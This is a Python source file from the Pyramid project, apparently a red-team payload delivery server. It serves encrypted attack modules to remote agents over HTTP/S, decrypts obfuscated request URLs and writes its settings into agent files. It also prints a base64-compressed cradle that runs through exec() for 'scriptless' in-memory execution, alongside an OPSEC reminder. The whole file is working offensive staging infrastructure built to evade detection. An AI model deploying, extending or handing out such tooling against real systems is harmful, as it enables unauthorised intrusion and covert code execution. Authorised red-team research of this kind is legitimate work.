mirror of
https://github.com/naksyn/Pyramid
synced 2026-06-08 16:17:13 +00:00
c318617011
Added wininet for cradle and Pythonmemorymodule and tuned the server a bit
439 lines
15 KiB
Python
439 lines
15 KiB
Python
import http.server
|
|
import argparse
|
|
import sys
|
|
import zlib
|
|
import cgi
|
|
import base64
|
|
import json
|
|
from urllib.parse import urlparse, parse_qs
|
|
import ssl
|
|
import os
|
|
import re
|
|
import signal
|
|
from Helpers import chacha20
|
|
from Helpers import xor
|
|
from colorama import init, Fore, Back, Style
|
|
|
|
#### GLOBAL CONFIG PARAMETERS ####
|
|
|
|
## starting part of the URL that will be treated as base64encoded and encrypted i.e.: /login/cGFyYW1pa29fcHlkc19kZXBlbmRlbmNpZXMuemlw
|
|
|
|
encode_encrypt_url="/login/"
|
|
iv=b'12345678'
|
|
|
|
#### DO NOT MODIFY CONFIG BELOW THIS LINE ###
|
|
|
|
'''
|
|
HTTP server implementation that uses SSL certificate and Basic Authentication.
|
|
Generate first SSL certificate and key using:
|
|
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
|
|
'''
|
|
|
|
|
|
|
|
forbidden_chars = ["../", "~", "`", "&", "|", ";", "$", "{", "}", "[", "]", "(", ")", "<", ">", "'", "\"", "\\"]
|
|
begin_delim="### AUTO-GENERATED PYRAMID CONFIG ### DELIMITER"
|
|
end_delim="### END DELIMITER"
|
|
|
|
def move_cursor_newlines(file, lines):
|
|
for _ in range(lines):
|
|
next(file, None)
|
|
|
|
def replace_in_file(pyramid_params, filename, directory):
|
|
filepath = os.path.join(directory, filename)
|
|
with open(filepath, 'r') as file:
|
|
content = file.read()
|
|
|
|
replace_text = begin_delim + '\n\n'
|
|
for key in pyramid_params:
|
|
replace_text += key + pyramid_params[key] + '\n'
|
|
replace_text += '\n' + end_delim
|
|
|
|
begin_index = content.find(begin_delim)
|
|
end_index = content.find(end_delim)
|
|
|
|
if begin_index != -1 and end_index != -1 and begin_index < end_index:
|
|
toberemoved_text = content[begin_index + len(begin_delim):end_index] # kept for debugging
|
|
new_content = content[:begin_index] + replace_text + content[end_index + len(end_delim):]
|
|
with open(filepath, 'w') as file:
|
|
file.write(new_content)
|
|
print(Fore.YELLOW + "[+] Text between delimiters removed and replaced on file {}".format(filename) + Style.RESET_ALL)
|
|
else:
|
|
print(Fore.YELLOW + "[!] Delimiters not found in the file {} - might be OK if Pyramid config are not needed for it".format(filename) + Style.RESET_ALL)
|
|
|
|
|
|
def substitute_parameters(pyramid_params):
|
|
modules_dir = os.getcwd() + '/Modules'
|
|
agent_dir = os.path.dirname(os.getcwd()) + '/Agent'
|
|
for filename in os.listdir(modules_dir):
|
|
updated_content = ''
|
|
if filename.endswith(".py"):
|
|
replace_in_file(pyramid_params, filename, modules_dir)
|
|
for filename in os.listdir(agent_dir):
|
|
updated_content = ''
|
|
if filename.endswith(".py"):
|
|
replace_in_file(pyramid_params, filename, agent_dir)
|
|
|
|
def print_encoded_cradle():
|
|
|
|
cradle = os.path.dirname(os.getcwd()) + '/Agent/' + options.setcradle
|
|
string = "import base64\nimport zlib\nencoded_script=\""
|
|
print(Fore.YELLOW + "[+] printing b64encoded(zipped(cradle)) for scriptless execution on terminal:" + Style.RESET_ALL)
|
|
try:
|
|
with open(cradle, 'rb') as f:
|
|
string += base64.b64encode(zlib.compress(f.read(), level=9)).decode()
|
|
string += "\"\ndecoded_script = zlib.decompress(base64.b64decode(encoded_script.encode())).decode()\nexec(decoded_script)"
|
|
print(string)
|
|
except FileNotFoundError:
|
|
print(Fore.RED + "[-] File not found: " + cradle + Style.RESET_ALL)
|
|
|
|
except Exception as e:
|
|
print(Fore.RED + "[-] An error occurred: " + str(e) + Style.RESET_ALL)
|
|
|
|
|
|
|
|
class CustomServerHandler(http.server.BaseHTTPRequestHandler):
|
|
|
|
|
|
### Encryption wrapper ####
|
|
|
|
def encrypt_wrapper(self, data):
|
|
if self.parsed_options.enc == 'xor':
|
|
result=xor.xor(data, self.parsed_options.passenc.encode('utf-8'))
|
|
return result
|
|
elif self.parsed_options.enc == 'chacha20':
|
|
result=chacha20.encrypt(data, self.parsed_options.passenc.encode('utf-8'),iv)
|
|
return result
|
|
|
|
def sanitize_path(self,encoded=True):
|
|
# returns None if checks are not passed
|
|
sanitized_path = self.path
|
|
if encoded:
|
|
try:
|
|
print(f'[+] Decoding and Decrypting URL: {sanitized_path}')
|
|
encrypted_part = sanitized_path.split(encode_encrypt_url)[-1]
|
|
decoded_path = base64.b64decode(encrypted_part)
|
|
sanitized_path = self.encrypt_wrapper(decoded_path).decode('utf-8')
|
|
print(f'[+] Decrypted path: {sanitized_path}')
|
|
except Exception as e:
|
|
print(f"Error processing encoded path: {e}")
|
|
return None
|
|
else:
|
|
print(f'[+] URL is not encoded: {sanitized_path}')
|
|
return None
|
|
|
|
# Check for forbidden characters
|
|
forbidden_chars = ['..', '<', '>', ':']
|
|
for forbidden in forbidden_chars:
|
|
if forbidden in sanitized_path:
|
|
print(f"Forbidden character {forbidden} in {sanitized_path}")
|
|
return None
|
|
|
|
|
|
return sanitized_path.split('/')[-1]
|
|
|
|
def do_HEAD(self):
|
|
self.send_response(200)
|
|
self.send_header('Content-type', 'application/json')
|
|
self.end_headers()
|
|
|
|
def do_AUTHHEAD(self):
|
|
self.send_response(401)
|
|
self.send_header(
|
|
'WWW-Authenticate', 'Basic realm="py"')
|
|
self.send_header('Content-type', 'application/json')
|
|
self.end_headers()
|
|
|
|
def do_GET(self):
|
|
self.parsed_options=options
|
|
key = self.server.get_auth_key()
|
|
if options.user:
|
|
if self.headers.get('Authorization') == None:
|
|
self.do_AUTHHEAD()
|
|
response = {
|
|
'success': False,
|
|
'error': 'No auth header received'
|
|
}
|
|
self.wfile.write(bytes(json.dumps(response), 'utf-8'))
|
|
|
|
elif self.headers.get('Authorization') == 'Basic ' + str(key):
|
|
### we don't send response here otherwise it'll break the encryption of the payload on the receiving end
|
|
getvars = self._parse_GET()
|
|
|
|
response = {
|
|
'path': self.path,
|
|
'get_vars': str(getvars)
|
|
}
|
|
|
|
### user is authenticated
|
|
|
|
if self.path.startswith(encode_encrypt_url):
|
|
|
|
filename = self.sanitize_path()
|
|
if not filename:
|
|
|
|
self.send_response(404)
|
|
self.end_headers()
|
|
return
|
|
else:
|
|
filename = self.sanitize_path(encoded=False)
|
|
if not filename:
|
|
self.send_response(404)
|
|
self.end_headers()
|
|
return
|
|
|
|
ext = filename.split('.')[-1]
|
|
if '---' in filename:
|
|
parts = filename.split('---')
|
|
subfolder, filename = parts[0], parts[-1]
|
|
if subfolder == 'delivery_files':
|
|
path = 'Delivery_files'
|
|
elif ext == 'zip':
|
|
path = os.path.join('Dependencies', subfolder)
|
|
else:
|
|
path = '.'
|
|
elif ext == 'py':
|
|
path = 'Modules'
|
|
else:
|
|
path = '.'
|
|
|
|
file_path = os.path.join(path, filename)
|
|
|
|
try:
|
|
with open(file_path, 'rb') as file_get:
|
|
content = file_get.read()
|
|
|
|
content = self.encrypt_wrapper(content)
|
|
|
|
self.send_response(200)
|
|
self.end_headers()
|
|
self.wfile.write(content)
|
|
print(f'[+] Delivered encrypted file {file_path}')
|
|
|
|
except Exception as e:
|
|
print(e)
|
|
self.send_response(500)
|
|
self.end_headers()
|
|
|
|
|
|
def do_POST(self):
|
|
key = self.server.get_auth_key()
|
|
|
|
''' Present frontpage with user authentication. '''
|
|
if self.headers.get('Authorization') == None:
|
|
self.do_AUTHHEAD()
|
|
|
|
response = {
|
|
'success': False,
|
|
'error': 'No auth header received'
|
|
}
|
|
|
|
self.wfile.write(bytes(json.dumps(response), 'utf-8'))
|
|
|
|
elif self.headers.get('Authorization') == 'Basic ' + str(key):
|
|
self.send_response(200)
|
|
self.send_header('Content-type', 'application/json')
|
|
self.end_headers()
|
|
|
|
postvars = self._parse_POST()
|
|
getvars = self._parse_GET()
|
|
|
|
response = {
|
|
'path': self.path,
|
|
'get_vars': str(getvars),
|
|
'get_vars': str(postvars)
|
|
}
|
|
|
|
|
|
else:
|
|
self.do_AUTHHEAD()
|
|
|
|
response = {
|
|
'success': False,
|
|
'error': 'Invalid credentials'
|
|
}
|
|
|
|
self.wfile.write(bytes(json.dumps(response), 'utf-8'))
|
|
|
|
response = {
|
|
'path': self.path,
|
|
'get_vars': str(getvars),
|
|
'get_vars': str(postvars)
|
|
}
|
|
|
|
self.wfile.write(bytes(json.dumps(response), 'utf-8'))
|
|
|
|
def _parse_POST(self):
|
|
ctype, pdict = cgi.parse_header(self.headers.getheader('content-type'))
|
|
if ctype == 'multipart/form-data':
|
|
postvars = cgi.parse_multipart(self.rfile, pdict)
|
|
elif ctype == 'application/x-www-form-urlencoded':
|
|
length = int(self.headers.getheader('content-length'))
|
|
postvars = cgi.parse_qs(
|
|
self.rfile.read(length), keep_blank_values=1)
|
|
else:
|
|
postvars = {}
|
|
|
|
return postvars
|
|
|
|
def _parse_GET(self):
|
|
getvars = parse_qs(urlparse(self.path).query)
|
|
|
|
return getvars
|
|
|
|
|
|
class CustomHTTPServer(http.server.HTTPServer):
|
|
key = ''
|
|
|
|
def __init__(self, address, handlerClass=CustomServerHandler):
|
|
super().__init__(address, handlerClass)
|
|
|
|
def set_auth(self, username, password):
|
|
self.key = base64.b64encode(
|
|
bytes('%s:%s' % (username, password), 'utf-8')).decode('ascii')
|
|
|
|
def get_auth_key(self):
|
|
return self.key
|
|
|
|
|
|
if __name__ == '__main__':
|
|
|
|
parser = argparse.ArgumentParser(description='Serve Pyramid files over HTTP/S and provide basic authentication.')
|
|
parser.add_argument('-u', '--user', type=str, help='Username for HTTP basic authentication (optional)')
|
|
parser.add_argument('-pass', '--password', type=str, help='Password for HTTP basic authentication (optional)')
|
|
|
|
default_filesfolder = os.getcwd() + "/"
|
|
default_sslkey = os.path.join(default_filesfolder, 'key.pem')
|
|
default_sslcert = os.path.join(default_filesfolder, 'cert.pem')
|
|
|
|
parser.add_argument('-server', '--server', required='-generate' in sys.argv, type=str, help='server that will be set in modules Pyramid config')
|
|
parser.add_argument('-p', '--port', type=int, required=True, help='Port on which the server will be listening', default=80)
|
|
|
|
|
|
parser.add_argument('-ssl', action='store_true', help='Enable SSL encryption with default SSL key and certificate')
|
|
parser.add_argument('-setmod', type=str, required=True, help='Module to be fetched by the chosen cradle')
|
|
parser.add_argument('-setcradle', type=str, required=True, help='cradle to be used')
|
|
parser.add_argument('-sslkey', help=f'SSL key file full path (default: {default_sslkey})', default=default_sslkey)
|
|
parser.add_argument('-sslcert', help=f'SSL certificate file full path (default: {default_sslcert})', default=default_sslcert)
|
|
parser.add_argument('-filesfolder', help=f'Pyramid Server folder (default: {default_filesfolder})', default=default_filesfolder)
|
|
parser.add_argument('-enc', choices=['xor', 'chacha20'], help='Required option - Apply encryption to delivered files and decrypt URLs. XOR and modified chacha schemes are available', required=True)
|
|
parser.add_argument('-generate', action='store_true', help='Generate Pyramid Server configs for modules automatically based on command line given')
|
|
group = parser.add_mutually_exclusive_group(required='-enc' in sys.argv)
|
|
group.add_argument('-passenc', help='Encryption password')
|
|
|
|
example_usage = 'Example: python3 pyramid.py -u testuser -pass testpass -p 80 -enc chacha20 -passenc superpass -generate -server 192.168.1.1 -setcradle cradle.py -setmod pythonmemorymodule.py'
|
|
parser.epilog = example_usage
|
|
|
|
|
|
|
|
|
|
if len(sys.argv)==1:
|
|
parser.print_help()
|
|
sys.exit(1)
|
|
|
|
options = parser.parse_args()
|
|
|
|
pyramid_params = {'pyramid_server=':'\'' + (options.server if options.server else '') + '\'',
|
|
'pyramid_port=':'\'' + str(options.port) + '\'',
|
|
'pyramid_user=':'\'' + (options.user if options.user else '') + '\'',
|
|
'pyramid_pass=':'\'' + (options.password if options.password else '') + '\'',
|
|
'encryption=':'\'' + options.enc + '\'',
|
|
'encryptionpass=':'\'' + options.passenc + '\'',
|
|
'chacha20IV=':str(iv),
|
|
'pyramid_http=':'\'' + ('https' if options.ssl else 'http') + '\'',
|
|
'encode_encrypt_url=': '\'' + encode_encrypt_url + '\''
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
# Check that sslkey file exists
|
|
if(options.ssl):
|
|
if not os.path.exists(options.sslkey):
|
|
print(Fore.RED + f'[!] Error - SSL key file not found: {options.sslkey}'+ Style.RESET_ALL)
|
|
print(Fore.GREEN + '[!] To generate a self-signed certificate, run: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365'+ Style.RESET_ALL)
|
|
exit(1)
|
|
|
|
# Check that sslcert file exists
|
|
if not os.path.exists(options.sslcert):
|
|
print(Fore.RED + f'[!] Error - SSL certificate file not found: {options.sslcert}'+ Style.RESET_ALL)
|
|
print(Fore.RED + '[!] To generate a self-signed certificate, run: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365'+ Style.RESET_ALL)
|
|
exit(1)
|
|
|
|
# Check that filesfolder exists
|
|
if not os.path.exists(options.filesfolder):
|
|
print(Fore.RED + f'Pyramid Server folder not found: {options.filesfolder}'+ Style.RESET_ALL)
|
|
exit(1)
|
|
|
|
# Check that Modules folder exists
|
|
if not os.path.exists(os.path.join(options.filesfolder, 'Modules')):
|
|
print(Fore.RED + f'Modules folder not found under Pyramid Server folder: {os.path.join(options.filesfolder, "Modules")}'+ Style.RESET_ALL)
|
|
exit(1)
|
|
|
|
# Check that Dependencies folder exists
|
|
if not os.path.exists(os.path.join(options.filesfolder, 'Dependencies')):
|
|
print(Fore.RED + f'Dependencies folder not found under Pyramid Server folder: {os.path.join(options.filesfolder, "Dependencies")}'+ Style.RESET_ALL)
|
|
exit(1)
|
|
|
|
# Check if SSL is enabled
|
|
if options.ssl:
|
|
# Use default SSL key and cert if not specified
|
|
if not options.sslkey:
|
|
options.sslkey = default_sslkey
|
|
if not options.sslcert:
|
|
options.sslcert = default_sslcert
|
|
|
|
|
|
|
|
def signal_handler(signal, frame):
|
|
print(Fore.YELLOW +'\nExiting server...'+ Style.RESET_ALL)
|
|
server.server_close()
|
|
exit(0)
|
|
|
|
|
|
|
|
print(Fore.GREEN + """
|
|
__________ .__ .___
|
|
\______ \___.__.____________ _____ |__| __| _/
|
|
| ___< | |\_ __ \__ \ / \| |/ __ |
|
|
| | \___ | | | \// __ \| Y Y \ / /_/ |
|
|
|____| / ____| |__| (____ /__|_| /__\____ |
|
|
\/ \/ \/ \/
|
|
HTTP/S server main features:
|
|
- Auto-generation of server config for modules and cradle (use -generate switch)
|
|
- Basic Authentication
|
|
- encryption of delivered files (chacha, xor)
|
|
- URL decoding and decryption
|
|
|
|
Version: 0.1
|
|
Author: @naksyn
|
|
""" + Style.RESET_ALL)
|
|
|
|
|
|
if options.generate:
|
|
print(Fore.YELLOW + "[+] Auto-generating Pyramid config for modules and agents" + Style.RESET_ALL)
|
|
substitute_parameters(pyramid_params)
|
|
agent_dir = os.path.dirname(os.getcwd()) + '/Agent'
|
|
pyramid_params.update({'pyramid_module=': '\'' + options.setmod + '\'' if options.setcradle else '\'\''})
|
|
replace_in_file(pyramid_params,options.setcradle, agent_dir)
|
|
print_encoded_cradle()
|
|
|
|
print(Fore.YELLOW + "[+] Pyramid HTTP Server listening on port "+ Style.RESET_ALL,options.port)
|
|
print(Fore.YELLOW + "[+] MIND YOUR OPSEC! Serving Pyramid files from folder "+ Style.RESET_ALL,options.filesfolder)
|
|
print(Fore.YELLOW + "[+] User allowed to fetch files: "+ Style.RESET_ALL, options.user)
|
|
|
|
if options.ssl:
|
|
print(Fore.YELLOW + "[+] HTTPS Server starting "+ Style.RESET_ALL)
|
|
print(Fore.YELLOW + "[+] Using SSL key "+ Style.RESET_ALL, options.sslkey)
|
|
print(Fore.YELLOW + "[+] Using SSL cert" + Style.RESET_ALL, options.sslcert)
|
|
server = CustomHTTPServer(('', int(options.port)))
|
|
server.socket = ssl.wrap_socket(server.socket, keyfile=options.sslkey, certfile=options.sslcert, server_side=True)
|
|
else:
|
|
print(Fore.YELLOW + "[+] HTTP server starting "+ Style.RESET_ALL)
|
|
server = CustomHTTPServer(('', int(options.port)))
|
|
|
|
server.set_auth(options.user, options.password)
|
|
signal.signal(signal.SIGINT, signal_handler)
|
|
server.serve_forever()
|